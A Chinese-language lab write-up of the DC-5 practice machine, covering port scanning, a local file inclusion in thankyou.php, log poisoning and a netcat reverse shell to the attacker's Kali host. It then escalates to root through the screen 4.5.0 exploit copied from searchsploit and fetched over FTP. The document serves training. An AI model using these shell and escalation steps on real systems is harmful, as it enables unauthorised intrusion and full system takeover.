DC5靶机训练

kali🐓：192.168.78.131
DC-5：

老样子，查看IP段，扫描存活主机及开放端口

ifconfig
nmap -sP 192.168.78.0/24 
nmap -p 1-65535 -A -sV 192.168.78.133

发现靶机：192.168.78.138
开放端口：80 、111

访问80端口

什么也没有发现，试着扫一下目录

都没又什么用，去MSF查询一个Nginx1.6有无漏洞
没有可以利用的地方，暂时从80端口没有思绪

Emmm后面发现有个留言板，之前没看到

留言看看

发现url可疑，其次之前扫到的footer.php也可以，footer PHP导致 foot可以发生改变
因此可以推断：thankyou.php?firstnam…=6这个页面包含了footer.php的内容，至于包含参数，目测是file,先进行测试一下

再次刷新

确认了存在任意文件包含漏洞

可以查都到一些信息，但是如果我们要连上shell的话，当然需要命令执行反弹shell
这里的思路就是在日志文件中反弹shell
先来测试一下日志文件是否存在

先写入反弹shell到日志文件

写入UA头中包含失败，再进行包含，不知道为啥
只有换个写法，这地方写入的时候有点小坑

写入后进行测试：

反弹shell看看：

nc 192.168.78.131 2333 -c /bin/bash

切换到交互式终端：

python -c "import pty;pty.spawn('/bin/bash')"

查看一下root执行的命令有哪些：

find / -user root -perm -4000 -print 2>/dev/null

发现一个可疑的screen-4.5.0百度一番无果

直接去MSF中查询

searchsploit screen 4.5.0

复制粘贴出来，方便我们上传到DC机器

将41154.sh中的C语言代码复制出来，命名为 libhax.c

按照要求进行编译：

将41154.sh中下面一部分c语言代码另存为rootshell.c,然后编译

将剩余部分代码保存为dc5.sh 并手动加入：

set ff =unix

在kali攻击机上安装并启动服务端vsftpd服务；

apt-get install vsftpd

直接登录我自己的e1even用户目录

先查看进程的服务 启动关闭FTP

ps -e | grep ftp
service vsftpd stop
ps -e | grep ftp
service vsftpd start

FTP远程连接：

注意，这里一定要先进入到dc5靶机的tmp目录下

lcd /tmp

防止出错给要下载的文件赋予777权限

chmod 777 xxx

使用get命令进行下载

get dc5.sh
get xxx

退出FTP，再受害机执行脚本

chmod 777 dc5.sh
chmod 777 rootshell
chmod 777 xxx
sh dc5.sh

提权成功
全局搜索，找到flag存放位置：

 find / -name "*flag*" 2> /dev/null

拿到FLAG：